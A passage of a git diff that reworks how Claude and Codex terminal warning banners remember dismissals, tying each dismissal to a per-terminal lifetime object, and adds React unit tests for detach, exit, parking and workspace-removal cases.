+          setAnswer({ lifetime, openedBefore: answer })
         }
       })
     return () => {
       cancelled = true
-      setOpenedBefore(false)
+      setAnswer(undefined)
     }
-  }, [selectionKey, ptyId, tabId])
-  return openedBefore
+  }, [selectionKey, ptyId, tabId, lifetime])
+  return answer?.lifetime === lifetime && answer?.openedBefore === true
 }
 
 /** For Claude in a terminal whose shell predates per-account folders: its `claude` ignores the selection. */
@@ -69,7 +75,11 @@ export function ClaudeOldTerminalBanner({
 }): React.JSX.Element | null {
   const t = useTranslate()
   const paneKey = makePaneKey(tabId, leafId)
-  const [dismissed, setDismissed] = useState(() => dismissedPtyIds.has(ptyId))
+  const lifetime = getTerminalNoticeLifetime(ptyId)
+  const [dismissedLifetime, setDismissedLifetime] = useState<TerminalNoticeLifetime>()
+  const dismissed =
+    lifetime !== undefined &&
+    (dismissedLifetime === lifetime || lifetime.dismissed.has('claude-old-terminal'))
   const selectionKey = useAppStore(selectedClaudeAccountKey)
   // Why either signal: a typed claude is seen by the process read, or by its hooks.
   const claudeInPane = useAppStore(
@@ -80,7 +90,8 @@ export function ClaudeOldTerminalBanner({
   const openedBefore = useOpenedBeforeClaudeAccounts(
     ptyId,
     tabId,
-    claudeInPane && !dismissed ? selectionKey : null
+    claudeInPane && !dismissed ? selectionKey : null,
+    lifetime
   )
   const [dialogOpen, setDialogOpen] = useState(false)
   // Why: the dialog has no Radix trigger, so closing it would leave focus on document.body.
@@ -115,8 +126,10 @@ export function ClaudeOldTerminalBanner({
             </Button>
           }
           onDismiss={() => {
-            dismissedPtyIds.add(ptyId)
-            setDismissed(true)
+            if (lifetime && isTerminalNoticeLifetimeCurrent(lifetime)) {
+              lifetime.dismissed.add('claude-old-terminal')
+            }
+            setDismissedLifetime(lifetime)
           }}
         />
       ) : null}
diff --git a/src/renderer/src/components/terminal-pane/provider-notices/claude-theme-sync/claude-theme-sync-offer.ts b/src/renderer/src/components/terminal-pane/provider-notices/claude-theme-sync/claude-theme-sync-offer.ts
index cb4cc6f87ff..c155c37b38e 100644
--- a/src/renderer/src/components/terminal-pane/provider-notices/claude-theme-sync/claude-theme-sync-offer.ts
+++ b/src/renderer/src/components/terminal-pane/provider-notices/claude-theme-sync/claude-theme-sync-offer.ts
@@ -3,7 +3,7 @@ import { toast } from 'sonner'
 import { translate } from '@/i18n/i18n'
 import { useAppStore } from '@/store/index'
 import type { AppState } from '@/store/types'
-import { isPairedWebClientWindow } from '@/lib/desktop-window-chrome'
+import { isPairedWebClientWindow } from '@/app-shell/chrome/desktop-window-chrome'
 import { TRAILING_ACTIONS_CLASS_NAMES } from '@/components/ui/sonner'
 import { whenAgentTerminalAppears } from '../agent-presence/agent-terminal-presence'
 
diff --git a/src/renderer/src/components/terminal-pane/provider-notices/codex-server-isolation/CodexSharedServerBanner.tsx b/src/renderer/src/components/terminal-pane/provider-notices/codex-server-isolation/CodexSharedServerBanner.tsx
index b6a50937327..0fc1a753b70 100644
--- a/src/renderer/src/components/terminal-pane/provider-notices/codex-server-isolation/CodexSharedServerBanner.tsx
+++ b/src/renderer/src/components/terminal-pane/provider-notices/codex-server-isolation/CodexSharedServerBanner.tsx
@@ -1,3 +1,8 @@
+import {
+  getTerminalNoticeLifetime,
+  isTerminalNoticeLifetimeCurrent,
+  type TerminalNoticeLifetime
+} from '../terminal-notice-lifetime'
 import { useEffect, useState } from 'react'
 import { Button } from '@/components/ui/button'
 import { useTranslate } from '@/i18n/use-translate'
@@ -17,8 +22,6 @@ import { retireCodexTerminalServerIsolationNotice } from './codex-terminal-serve
 
 // Why a ladder: Codex joins or starts the server a few seconds after its process appears.
 const CHECK_DELAYS_MS = [1_000, 4_000, 10_000] as const
-// Why module scope: a pane remounts on tab switches, and × must hold for the app session.
-const dismissedPtyIds = new Set<string>()
 
 /** Asks on the ladder until an answer is yes; returns a cancel that drops any later answer. */
 function askUntilOnSharedServer(
@@ -54,20 +57,28 @@ function askUntilOnSharedServer(
 function usePaneCodexSharedServerStatus(
   ptyId: string,
   enabled: boolean,
-  recheck: number
+  recheck: number,
+  lifetime: TerminalNoticeLifetime | undefined
 ): CodexSharedServerStatus | null {
-  const [status, setStatus] = useState<CodexSharedServerStatus | null>(null)
+  const [answer, setAnswer] = useState<{
+    lifetime: TerminalNoticeLifetime
+    status: CodexSharedServerStatus
+  }>()
   useEffect(() => {
-    if (!enabled) {
+    if (!enabled || !lifetime) {
       return
     }
-    const cancel = askUntilOnSharedServer(window.api.pty.isCodexOnSharedServer, ptyId, setStatus)
+    const cancel = askUntilOnSharedServer(window.api.pty.isCodexOnSharedServer, ptyId, (status) => {
+      if (isTerminalNoticeLifetimeCurrent(lifetime)) {
+        setAnswer({ lifetime, status })
+      }
+    })
     return () => {
       cancel()
-      setStatus(null)
+      setAnswer(undefined)
     }
-  }, [enabled, ptyId, recheck])
-  return status
+  }, [enabled, ptyId, recheck, lifetime])
+  return answer?.lifetime === lifetime ? (answer?.status ?? null) : null
 }
 
 export function CodexSharedServerBanner({
@@ -81,7 +92,11 @@ export function CodexSharedServerBanner({
 }): React.JSX.Element | null {
   const t = useTranslate()
   const paneKey = makePaneKey(tabId, leafId)
-  const [dismissed, setDismissed] = useState(() => dismissedPtyIds.has(ptyId))
+  const lifetime = getTerminalNoticeLifetime(ptyId)
+  const [dismissedLifetime, setDismissedLifetime] = useState<TerminalNoticeLifetime>()
+  const dismissed =
+    lifetime !== undefined &&
+    (dismissedLifetime === lifetime || lifetime.dismissed.has('codex-shared-server'))
   const warningEnabled = useAppStore(
     (state) => state.settings !== null && isCodexSharedServerWarningEnabled(state.settings)
   )
@@ -96,7 +111,8 @@ export function CodexSharedServerBanner({
   const status = usePaneCodexSharedServerStatus(
     ptyId,
     warningEnabled && codexInPane && !dismissed,
-    recheck
+    recheck,
+    lifetime
   )
   const [openDialog, setOpenDialog] = useState<'fix' | 'oldTerminal' | null>(null)
   // Why: neither dialog has a Radix trigger, so closing it would leave focus on document.body.
@@ -164,8 +180,10 @@ export function CodexSharedServerBanner({
           body={body}
           primaryAction={primaryAction}
           onDismiss={() => {
-            dismissedPtyIds.add(ptyId)
-            setDismissed(true)
+            if (lifetime && isTerminalNoticeLifetimeCurrent(lifetime)) {
+              lifetime.dismissed.add('codex-shared-server')
+            }
+            setDismissedLifetime(lifetime)
           }}
           onDontShowAgain={() =>
             void useAppStore.getState().updateSettings({ codexSharedServerWarning: false })
diff --git a/src/renderer/src/components/terminal-pane/provider-notices/codex-server-isolation/codex-shared-server-banner.test.tsx b/src/renderer/src/components/terminal-pane/provider-notices/codex-server-isolation/codex-shared-server-banner.test.tsx
index 33a621adbc1..611d94f1b68 100644
--- a/src/renderer/src/components/terminal-pane/provider-notices/codex-server-isolation/codex-shared-server-banner.test.tsx
+++ b/src/renderer/src/components/terminal-pane/provider-notices/codex-server-isolation/codex-shared-server-banner.test.tsx
@@ -8,8 +8,37 @@ import type { GlobalSettings } from '../../../../../../shared/global-settings-ty
 import { getDefaultSettings } from '../../../../../../shared/constants'
 import { CodexSharedServerBanner } from './CodexSharedServerBanner'
 import type { CodexSharedServerStatus } from '../../../../../../shared/codex-shared-server-command'
+import {
+  admitTerminalNoticeLifetime,
+  getTerminalNoticeLifetime,
+  retireTerminalNoticeLifetime
+} from '../terminal-notice-lifetime'
+import {
+  installIpcPtyWindow,
+  restorePtySpecWindow,
+  type PtyExitPayload
+} from '../../pty-transport/ipc/pty-transport-test-harness'
+import { closeTerminalTab } from '../../../terminal/terminal-tab-actions'
+import { makeTab } from '@/store/terminals/terminal-tab.test-fixture'
+import { mergeFetchedWorktrees } from '@/store/slices/worktrees/listing/fetched-worktree-merge'
+import { TEST_REPO } from '@/store/repos/repo.test-fixture'
+import { makeWorktree } from '@/store/slices/worktrees/worktree.test-fixture'
+import { retireParkedTerminalTab } from '../../parking/output-watchers/terminal-parked-watcher-registry'
+import { applyClosedTerminalLeafNotice } from '../../layout/close/closed-terminal-leaf-notice'
 import { makePaneKey } from '../../../../../../shared/workspace-layout/stable-pane-id'
 
+import {
+  renderNoticePaneLifecycle,
+  deliverNoticePaneStartupExit
+} from './terminal-notice-pane.test-fixture'
+import type { PtyTransport } from '../../pty-transport/pty-transport-types'
+
+import { retireUnboundIpcTerminalPane } from '../../layout/close/retire-unbound-ipc-terminal-pane'
+
+import { startParkedPtyWatcher } from '../../parking/output-watchers/terminal-parked-pty-watcher'
+import type { ParkedTabWatcherEntry } from '../../parking/output-watchers/terminal-parked-watcher-registry'
+import { settleDeferredPtyShutdownExits } from '../../pty-transport/shutdown/pty-shutdown-exit-deferral'
+
 const routing = vi.hoisted(() => ({
   activateAndRevealWorkspace: vi.fn<(id: string) => unknown>(),
   revealFloatingWorkspacePanel: vi.fn(),
@@ -45,6 +74,7 @@ let writeClipboardText: ReturnType<typeof vi.fn<(text: string) => Promise<void>>
 let updateSettings: ReturnType<typeof vi.fn<(updates: Partial<GlobalSettings>) => Promise<void>>>
 let nextPtyId = 0
 let ptyId: string
+let admitted: ReturnType<typeof admitTerminalNoticeLifetime>
 
 class ResizeObserverStub {
   observe(): void {}
@@ -59,6 +89,14 @@ function setState(settings: Partial<GlobalSettings>, agent: 'codex' | null = 'co
   })
 }
 
+function installPtyEvents(sinks: Parameters<typeof installIpcPtyWindow>[1]): void {
+  const domWindow = window
+  installIpcPtyWindow(domWindow, sinks)
+  const api = window.api
+  restorePtySpecWindow(domWindow)
+  Object.defineProperty(domWindow, 'api', { configurable: true, value: api })
+}
+
 async function renderBanner(): Promise<void> {
   await act(async () => {
     root.render(<CodexSharedServerBanner ptyId={ptyId} tabId={TAB_ID} leafId={LEAF_ID} />)
@@ -71,6 +109,10 @@ async function advance(ms: number): Promise<void> {
   })
 }
 
+async function renderPaneLifecycle(transport: PtyTransport, worktreeId = 'wt-1') {
+  return renderNoticePaneLifecycle(root, ptyId, TAB_ID, LEAF_ID, transport, worktreeId)
+}
+
 // Why document: the dialog portals out of the pane.
 function button(label: string): HTMLButtonElement {
   const match = Array.from(document.querySelectorAll('button')).find(
@@ -89,7 +131,8 @@ beforeEach(() => {
   routing.activateAndRevealWorkspace.mockReturnValue({ primaryTabId: null })
   vi.stubGlobal('ResizeObserver', ResizeObserverStub)
   useAppStore.setState(useAppStore.getInitialState(), true)
-  ptyId = `pty-${(nextPtyId += 1)}`
+  ptyId = `wt-1@@pty-${(nextPtyId += 1)}`
+  admitted = admitTerminalNoticeLifetime(ptyId, { fresh: true })
   paneElement = document.createElement('div')
   paneElement.className = 'pane'
   document.body.appendChild(paneElement)
@@ -112,6 +155,10 @@ beforeEach(() => {
 })
 
 afterEach(() => {
+  const current = getTerminalNoticeLifetime(ptyId)
+  if (current) {
+    retireTerminalNoticeLifetime(current)
+  }
   act(() => root.unmount())
   paneElement.remove()
   vi.unstubAllGlobals()
@@ -121,7 +168,7 @@ afterEach(() => {
 })
 
 describe('CodexSharedServerBanner', () => {
-  it('keeps asking while Codex starts, then stops once it has an answer', async () => {
+  it('shows the warning after Codex joins the shared server', async () => {
     setState({})
     isCodexOnSharedServer.mockResolvedValueOnce(NOT_JOINED)
     await renderBanner()
@@ -129,8 +176,6 @@ describe('CodexSharedServerBanner', () => {
     expect(paneElement.textContent).toBe('')
     await advance(4_000)
     expect(paneElement.textContent).toContain(TITLE)
-    await advance(60_000)
-    expect(isCodexOnSharedServer).toHaveBeenCalledTimes(2)
   })
 
   it('confirms before stopping the server, then hides once it is gone', async () => {
@@ -160,20 +205,470 @@ describe('CodexSharedServerBanner', () => {
     expect(paneElement.textContent).toBe('')
   })
 
-  it('dismisses for this pane only, and stays dismissed after a remount', async () => {
+  it('keeps a live dismissal through detach and loss, then shows for a later attached lifetime', async () => {
+    retireTerminalNoticeLifetime(admitted)
+    let exit: ((payload: PtyExitPayload) => void) | undefined
+    installPtyEvents({
+      exit: (callback) => {
+        exit = callback
+      }
+    })
+    const { createIpcPtyTransport } = await import('../../pty-transport/ipc/pty-transport')
+    const { ensurePtyDispatcher, reattachPtyDispatcherPushListeners } =
+      await import('../../pty-transport/delivery/pty-dispatcher')
+    ensurePtyDispatcher()
+    reattachPtyDispatcherPushListeners()
     setState({})
+    let transport = createIpcPtyTransport({})
+    const attach = () => {
+      useAppStore.setState({
+        tabsByWorktree: { 'wt-1': [makeTab({ id: TAB_ID, worktreeId: 'wt-1', ptyId: null })] }
+      })
+      useAppStore.getState().setPaneForegroundAgent(PANE_KEY, {
+        agent: 'codex',
+        shellForeground: false
+      })
+      transport.attach({
+        existingPtyId: ptyId,
+        callbacks: {
+          onExit: (code) => {
+            if (code >= 0) {
+              closeTerminalTab(TAB_ID, { hostCloseReason: 'pty-exit', lifecyclePtyId: ptyId })
+            }
+          }
+        }
+      })
+    }
+    attach()
     await renderBanner()
     await advance(1_000)
     await act(async () => button('Dismiss').click())
     expect(paneElement.textContent).toBe('')
-    expect(paneElement.style.getPropertyValue('--orca-pane-top-banner-height')).toBe('')
-    expect(updateSettings).not.toHaveBeenCalled()
-
+    transport.detach?.()
+    // The move path removes a tab with pty-exit while its process survives.
+    act(() => useAppStore.getState().closeTab(TAB_ID, { reason: 'pty-exit' }))
     act(() => root.unmount())
     root = createRoot(paneElement)
+    transport = createIpcPtyTransport({})
+    attach()
     await renderBanner()
     await advance(20_000)
     expect(paneElement.textContent).toBe('')
+    await act(async () => exit?.({ id: ptyId, code: -1 }))
+    transport = createIpcPtyTransport({})
+    attach()
+    await renderBanner()
+    await advance(20_000)
+    expect(paneElement.textContent).toBe('')
+    await act(async () => exit?.({ id: ptyId, code: 0 }))
+    transport = createIpcPtyTransport({})
+    attach()
+    await renderBanner()
+    await advance(1_000)
+    expect(paneElement.querySelector('button')).not.toBeNull()
+    transport.detach?.()
+  })
+
+  it('keeps dismissal after an unstamped buffered exit, then accepts a stamped death', async () => {
+    retireTerminalNoticeLifetime(admitted)
+    let exit: ((payload: PtyExitPayload) => void) | undefined
+    installPtyEvents({
+      exit: (callback) => {
+        exit = callback
+      }
+    })
+    const { createIpcPtyTransport } = await import('../../pty-transport/ipc/pty-transport')
+    const { ensurePtyDispatcher, reattachPtyDispatcherPushListeners } =
+      await import('../../pty-transport/delivery/pty-dispatcher')
+    ensurePtyDispatcher()
+    reattachPtyDispatcherPushListeners()
+    const spawn = vi.mocked(window.api.pty.spawn)
+    spawn.mockResolvedValueOnce({ id: ptyId, incarnationId: 'current-incarnation' })
+    let transport = createIpcPtyTransport({})
+    await transport.connect({ url: '', callbacks: {} })
+    setState({})
+    await renderBanner()
+    await advance(1_000)
+    await act(async () => button('Dismiss').click())
+    transport.detach?.({ preserveExitObserver: false })
+    spawn.mockImplementationOnce(async () => {
+      exit?.({ id: ptyId, code: 0 })
+      return { id: ptyId, incarnationId: 'current-incarnation', isReattach: true }
+    })
+    transport = createIpcPtyTransport({})
+    await transport.connect({ url: '', callbacks: {} })
+    transport = createIpcPtyTransport({})
+    transport.attach({ existingPtyId: ptyId, callbacks: {} })
+    await renderBanner()
+    await advance(20_000)
+    expect(paneElement.textContent).toBe('')
+    await act(async () => exit?.({ id: ptyId, code: 0, incarnationId: 'current-incarnation' }))
+    transport = createIpcPtyTransport({})
+    transport.attach({ existingPtyId: ptyId, callbacks: {} })
+    await renderBanner()
+    await advance(1_000)
+    expect(paneElement.querySelector('button')).not.toBeNull()
+    transport.detach?.({ preserveExitObserver: false })
+  })
+
+  it('keeps dismissal on shutdown rollback and resets it on committed retirement', async () => {
+    retireTerminalNoticeLifetime(admitted)
+    let exit: ((payload: PtyExitPayload) => void) | undefined
+    installPtyEvents({
+      exit: (callback) => {
+        exit = callback
+      }
+    })
+    const { createIpcPtyTransport } = await import('../../pty-transport/ipc/pty-transport')
+    const { ensurePtyDispatcher, reattachPtyDispatcherPushListeners } =
+      await import('../../pty-transport/delivery/pty-dispatcher')
+    ensurePtyDispatcher()
+    reattachPtyDispatcherPushListeners()
+    const { settleDeferredPtyShutdownExits } =
+      await import('../../pty-transport/shutdown/pty-shutdown-exit-deferral')
+    vi.mocked(window.api.pty.spawn).mockResolvedValueOnce({
+      id: ptyId,
+      incarnationId: 'current-incarnation'
+    })
+    let transport = createIpcPtyTransport({})
+    await transport.connect({ url: '', callbacks: {} })
+    setState({})
+    await renderBanner()
+    await advance(1_000)
+    await act(async () => button('Dismiss').click())
+    useAppStore.setState({ pendingPtyShutdownIds: { [ptyId]: 1 } })
+    await act(async () => exit?.({ id: ptyId, code: 0, incarnationId: 'current-incarnation' }))
+    settleDeferredPtyShutdownExits([ptyId], 'rolled-back')
+    useAppStore.setState({ pendingPtyShutdownIds: {} })
+    transport = createIpcPtyTransport({})
+    transport.attach({ existingPtyId: ptyId, callbacks: {} })
+    await renderBanner()
+    await advance(20_000)
+    expect(paneElement.textContent).toBe('')
+    useAppStore.setState({ pendingPtyShutdownIds: { [ptyId]: 1 } })
+    await act(async () => exit?.({ id: ptyId, code: 0, incarnationId: 'current-incarnation' }))
+    settleDeferredPtyShutdownExits([ptyId], 'committed')
+    useAppStore.setState({ pendingPtyShutdownIds: {} })
+    transport = createIpcPtyTransport({})
+    transport.attach({ existingPtyId: ptyId, callbacks: {} })
+    await renderBanner()
+    await advance(1_000)
+    expect(paneElement.querySelector('button')).not.toBeNull()
+    transport.detach?.()
+  })
+
+  async function expectWarningAfterRetirement(
+    retire: (worktreeId: string, transport: PtyTransport) => void | Promise<unknown>
+  ) {
+    installPtyEvents({})
+    const { createIpcPtyTransport } = await import('../../pty-transport/ipc/pty-transport')
+    let transport = createIpcPtyTransport({})
+    const worktreeId = 'repo::/notice-retirement'
+    const publish = () => {
+      useAppStore.setState({
+        repos: [{ ...TEST_REPO, id: 'repo', executionHostId: 'local' }],
+        worktreesByRepo: {
+          repo: [makeWorktree({ id: worktreeId, repoId: 'repo', hostId: 'local' })]
+        },
+        tabsByWorktree: { [worktreeId]: [makeTab({ id: TAB_ID, worktreeId, ptyId })] },
+        terminalLayoutsByTabId: {
+          [TAB_ID]: {
+            root: { type: 'leaf', leafId: LEAF_ID },
+            activeLeafId: LEAF_ID,
+            expandedLeafId: null,
+            ptyIdsByLeafId: { [LEAF_ID]: ptyId }
+          }
+        }
+      })
+      useAppStore
+        .getState()
+        .setPaneForegroundAgent(PANE_KEY, { agent: 'codex', shellForeground: false })
+      transport.attach({ existingPtyId: ptyId, callbacks: {} })
+    }
+    setState({})
+    publish()
+    await renderBanner()
+    await advance(1_000)
+    await act(async () => button('Dismiss').click())
+    transport.detach?.({ preserveExitObserver: false })
+    await retire(worktreeId, transport)
+    transport = createIpcPtyTransport({})
+    publish()
+    await renderBanner()
+    await advance(1_000)
+    expect(paneElement.querySelector('button')).not.toBeNull()
+    transport.detach?.({ preserveExitObserver: false })
+    retireParkedTerminalTab(TAB_ID)
+  }
+
+  it('shows the warning for a reused terminal after explicit purge', async () => {
+    await expectWarningAfterRetirement((worktreeId) => {
+      useAppStore.getState().purgeWorktreeTerminalState([worktreeId])
+    })
+  })
+
+  it('shows the warning for a reused terminal after authoritative listing', async () => {
+    await expectWarningAfterRetirement(() => {
+      mergeFetchedWorktrees(useAppStore.setState, useAppStore.getState, {
+        repoId: 'repo',
+        hostId: 'local',
+        ownerWasMissingAtStart: false,
+        requestStartedWorktrees: useAppStore.getState().worktreesByRepo.repo,
+        refresh: {
+          status: 'admitted',
+          executionHostId: 'local',
+          result: { repoId: 'repo', authoritative: true, source: 'git', worktrees: [] }
+        }
+      })
+    })
+  })
+
+  it('shows the warning for a reused terminal after parked main close', async () => {
+    await expectWarningAfterRetirement(async (worktreeId, transport) => {
+      const pane = await renderPaneLifecycle(transport, worktreeId)
+      await act(async () => {
+        pane.park()
+        useAppStore.setState({ terminalLayoutsByTabId: {} })
+        applyClosedTerminalLeafNotice(TAB_ID, LEAF_ID, 'user')
+      })
+    })
+  })
+
+  function publishPaneOwner() {
+    useAppStore.setState({
+      repos: [{ ...TEST_REPO, id: 'repo', executionHostId: 'local' }],
+      worktreesByRepo: { repo: [makeWorktree({ id: 'wt-1', repoId: 'repo', hostId: 'local' })] },
+      tabsByWorktree: { 'wt-1': [makeTab({ id: TAB_ID, worktreeId: 'wt-1', ptyId })] },
+      terminalLayoutsByTabId: {
+        [TAB_ID]: {
+          root: { type: 'leaf', leafId: LEAF_ID },
+          activeLeafId: LEAF_ID,
+          expandedLeafId: null,
+          ptyIdsByLeafId: { [LEAF_ID]: ptyId }
+        }
+      }
+    })
+  }
+
+  async function dismissPaneWarning() {
+    installPtyEvents({})
+    const { createIpcPtyTransport } = await import('../../pty-transport/ipc/pty-transport')
+    publishPaneOwner()
+    setState({})
+    const transport = createIpcPtyTransport({})
+    transport.attach({ existingPtyId: ptyId, callbacks: {} })
+    const pane = await renderPaneLifecycle(transport)
+    await advance(1_000)
+    await act(async () => button('Dismiss').click())
+    return { ...pane, transport }
+  }
+
+  async function reattachPaneWarning() {
+    const { createIpcPtyTransport } = await import('../../pty-transport/ipc/pty-transport')
+    const next = createIpcPtyTransport({})
+    next.attach({ existingPtyId: ptyId, callbacks: {} })
+    setState({})
+    await renderBanner()
+    await advance(1_000)
+    next.detach?.({ preserveExitObserver: false })
+  }
+
+  it('releases a closed bound pane dismissal when its own transport was its last owner', async () => {
+    const pane = await dismissPaneWarning()
+    await act(async () => pane.close())
+    await reattachPaneWarning()
+    expect(paneElement.querySelector('button')).not.toBeNull()
+  })
+
+  it('keeps a dismissal when a replacement transport still owns the same PTY', async () => {
+    const pane = await dismissPaneWarning()
+    const { createIpcPtyTransport } = await import('../../pty-transport/ipc/pty-transport')
+    const replacement = createIpcPtyTransport({})
+    replacement.attach({ existingPtyId: ptyId, callbacks: {} })
+    pane.transports.set(2, replacement)
+    await act(async () => pane.close())
+    replacement.detach?.({ preserveExitObserver: false })
+    await reattachPaneWarning()
+    expect(paneElement.textContent).toBe('')
+  })
+
+  it('releases an old-host exit dismissal while keeping the startup failure readable', async () => {
+    const pane = await dismissPaneWarning()
+    await deliverNoticePaneStartupExit(pane.transport, pane.transports, ptyId, TAB_ID, PANE_KEY)
+    expect(useAppStore.getState().tabsByWorktree['wt-1'].map((tab) => tab.id)).toEqual([TAB_ID])
+    pane.transport.detach?.({ preserveExitObserver: false })
+    await reattachPaneWarning()
+    expect(paneElement.querySelector('button')).not.toBeNull()
+  })
+
+  it('releases a pending unbound close without letting its late reply retire a successor', async () => {
+    const pane = await dismissPaneWarning()
+    pane.transport.detach?.({ preserveExitObserver: false })
+    const { createIpcPtyTransport } = await import('../../pty-transport/ipc/pty-transport')
+    const spawn = Promise.withResolvers<{ id: string }>()
+    vi.mocked(window.api.pty.spawn).mockReturnValueOnce(spawn.promise)
+    const pending = createIpcPtyTransport({})
+    const connecting = pending.connect({ url: '', sessionId: ptyId, callbacks: {} })
+    await act(async () =>
+      retireUnboundIpcTerminalPane({
+        getState: useAppStore.getState,
+        tabId: TAB_ID,
+        leafId: LEAF_ID,
+        transport: pending,
+        getTransports: () => new Map([[1, pending]])
+      })
+    )
+    await reattachPaneWarning()
+    expect(paneElement.querySelector('button')).not.toBeNull()
+    await act(async () => button('Dismiss').click())
+    await act(async () => {
+      spawn.resolve({ id: ptyId })
+      await connecting
+    })
+    await reattachPaneWarning()
+    expect(paneElement.textContent).toBe('')
+  })
+
+  async function parkedExitFixture() {
+    const pane = await dismissPaneWarning()
+    pane.park()
+    let exit: ((payload: PtyExitPayload) => void) | undefined
+    installPtyEvents({
+      exit: (callback) => {
+        exit = callback
+      }
+    })
+    const { ensurePtyDispatcher, reattachPtyDispatcherPushListeners } =
+      await import('../../pty-transport/delivery/pty-dispatcher')
+    ensurePtyDispatcher()
+    reattachPtyDispatcherPushListeners()
+    const entry: ParkedTabWatcherEntry = {
+      worktreeId: 'wt-1',
+      tabPtyId: ptyId,
+      paneIdByPtyId: new Map(),
+      disposersByPtyId: new Map()
+    }
+    startParkedPtyWatcher({
+      worktreeId: 'wt-1',
+      tab: { id: TAB_ID, ptyId },
+      entry,
+      pane: { ptyId, paneId: 1, leafId: LEAF_ID, drivesTabTitle: true, untouchedFreshSpawn: true },
+      restoreTitleOnRegister: false,
+      restorePolicy: {}
+    })
+    return {
+      exit: () => exit?.({ id: ptyId, code: 1 }),
+      dispose: () => entry.disposersByPtyId.get(ptyId)?.()
+    }
+  }
+
+  it('releases a parked old-host startup failure dismissal without removing its diagnostic tab', async () => {
+    const parked = await parkedExitFixture()
+    await act(async () => parked.exit())
+    expect(useAppStore.getState().tabsByWorktree['wt-1'].map((tab) => tab.id)).toEqual([TAB_ID])
+    parked.dispose()
+    await reattachPaneWarning()
+    expect(paneElement.querySelector('button')).not.toBeNull()
+    retireParkedTerminalTab(TAB_ID)
+  })
+
+  it('keeps a parked dismissal when a pending shutdown rolls back', async () => {
+    const parked = await parkedExitFixture()
+    useAppStore.setState({ pendingPtyShutdownIds: { [ptyId]: 1 } })
+    await act(async () => parked.exit())
+    useAppStore.setState({ pendingPtyShutdownIds: {} })
+    await act(async () => settleDeferredPtyShutdownExits([ptyId], 'rolled-back'))
+    parked.dispose()
+    await reattachPaneWarning()
+    expect(paneElement.textContent).toBe('')
+    retireParkedTerminalTab(TAB_ID)
+  })
+
+  it('releases a dismissal only after workspace removal succeeds', async () => {
+    await expectWarningAfterRetirement(async (worktreeId) => {
+      Object.assign(window.api, { worktrees: { forgetLocal: vi.fn().mockResolvedValue({}) } })
+      const result = await useAppStore
+        .getState()
+        .removeWorktree({ id: worktreeId, executionHostId: 'local' }, false, {
+          mode: 'forget-local'
+        })
+      expect(result.ok).toBe(true)
+    })
+  })
+
+  it('keeps the dismissal when workspace removal fails at dispatch', async () => {
+    const pane = await dismissPaneWarning()
+    const forgetLocal = vi.fn().mockRejectedValue(new Error('disk unavailable'))
+    Object.assign(window.api, { worktrees: { forgetLocal } })
+    const result = await useAppStore
+      .getState()
+      .removeWorktree({ id: 'wt-1', executionHostId: 'local' }, false, { mode: 'forget-local' })
+    expect(result).toEqual({ ok: false, error: 'disk unavailable' })
+    pane.transport.detach?.({ preserveExitObserver: false })
+    await reattachPaneWarning()
+    expect(paneElement.textContent).toBe('')
+  })
+
+  it('preserves a shared dismissal when a workspace is purged', async () => {
+    installPtyEvents({})
+    const { createIpcPtyTransport } = await import('../../pty-transport/ipc/pty-transport')
+    let transport = createIpcPtyTransport({})
+    setState({})
+    useAppStore.setState({
+      tabsByWorktree: {
+        gone: [makeTab({ id: TAB_ID, worktreeId: 'gone', ptyId })],
+        kept: [makeTab({ id: 'shared-owner', worktreeId: 'kept', ptyId })]
+      }
+    })
+    transport.attach({ existingPtyId: ptyId, callbacks: {} })
+    await renderBanner()
+    await advance(1_000)
+    await act(async () => button('Dismiss').click())
+    transport.detach?.({ preserveExitObserver: false })
+    await act(async () => useAppStore.getState().purgeWorktreeTerminalState(['gone']))
+    transport = createIpcPtyTransport({})
+    transport.attach({ existingPtyId: ptyId, callbacks: {} })
+    setState({})
+    await renderBanner()
+    await advance(20_000)
+    expect(paneElement.textContent).toBe('')
+    transport.detach?.({ preserveExitObserver: false })
+  })
+
+  it('retires the freshly admitted same-ID parked owner after an older capture', async () => {
+    installPtyEvents({})
+    const { createIpcPtyTransport } = await import('../../pty-transport/ipc/pty-transport')
+    useAppStore.setState({
+      tabsByWorktree: { 'wt-1': [makeTab({ id: TAB_ID, worktreeId: 'wt-1', ptyId })] }
+    })
+    const old = createIpcPtyTransport({})
+    old.attach({ existingPtyId: ptyId, callbacks: {} })
+    const oldPane = await renderPaneLifecycle(old)
+    oldPane.park()
+    const transport = createIpcPtyTransport({})
+    vi.mocked(window.api.pty.spawn).mockResolvedValueOnce({ id: ptyId })
+    await transport.connect({ url: '', callbacks: {} })
+    setState({})
+    await renderBanner()
+    await advance(1_000)
+    await act(async () => button('Dismiss').click())
+    const freshPane = await renderPaneLifecycle(transport)
+    freshPane.park()
+    useAppStore.setState({
+      tabsByWorktree: {
+        'wt-1': [makeTab({ id: TAB_ID, worktreeId: 'wt-1', ptyId: 'surviving-sibling' })]
+      },
+      terminalLayoutsByTabId: {}
+    })
+    await act(async () => applyClosedTerminalLeafNotice(TAB_ID, LEAF_ID, 'user'))
+    const next = createIpcPtyTransport({})
+    next.attach({ existingPtyId: ptyId, callbacks: {} })
+    setState({})
+    await renderBanner()
+    await advance(1_000)
+    expect(paneElement.querySelector('button')).not.toBeNull()
+    next.detach?.({ preserveExitObserver: false })
+    retireParkedTerminalTab(TAB_ID)
   })
 
   describe('returning focus when a dialog closes', () => {
diff --git a/src/renderer/src/components/terminal-pane/provider-notices/codex-server-isolation/codex-terminal-server-isolation-notice.ts b/src/renderer/src/components/terminal-pane/provider-notices/codex-server-isolation/codex-terminal-server-isolation-notice.ts
index e3dcf983c5a..921633f6841 100644
--- a/src/renderer/src/components/terminal-pane/provider-notices/codex-server-isolation/codex-terminal-server-isolation-notice.ts
+++ b/src/renderer/src/components/terminal-pane/provider-notices/codex-server-isolation/codex-terminal-server-isolation-notice.ts
@@ -3,7 +3,7 @@ import { toast } from 'sonner'
 import { translate } from '@/i18n/i18n'
 import { useAppStore } from '@/store/index'
 import type { AppState } from '@/store/types'
-import { isPairedWebClientWindow } from '@/lib/desktop-window-chrome'
+import { isPairedWebClientWindow } from '@/app-shell/chrome/desktop-window-chrome'
 import { CODEX_TERMINAL_SERVER_ISOLATION_SETTINGS_TARGET_ID } from '@/components/settings/navigation/settings-navigation-types'
 import { isCodexTerminalServerIsolationEnabled } from '../../../../../../shared/codex-terminal-server-isolation'
 import { whenAgentTerminalAppears } from '../agent-presence/agent-terminal-presence'
diff --git a/src/renderer/src/components/terminal-pane/provider-notices/codex-server-isolation/terminal-notice-pane.test-fixture.tsx b/src/renderer/src/components/terminal-pane/provider-notices/codex-server-isolation/terminal-notice-pane.test-fixture.tsx
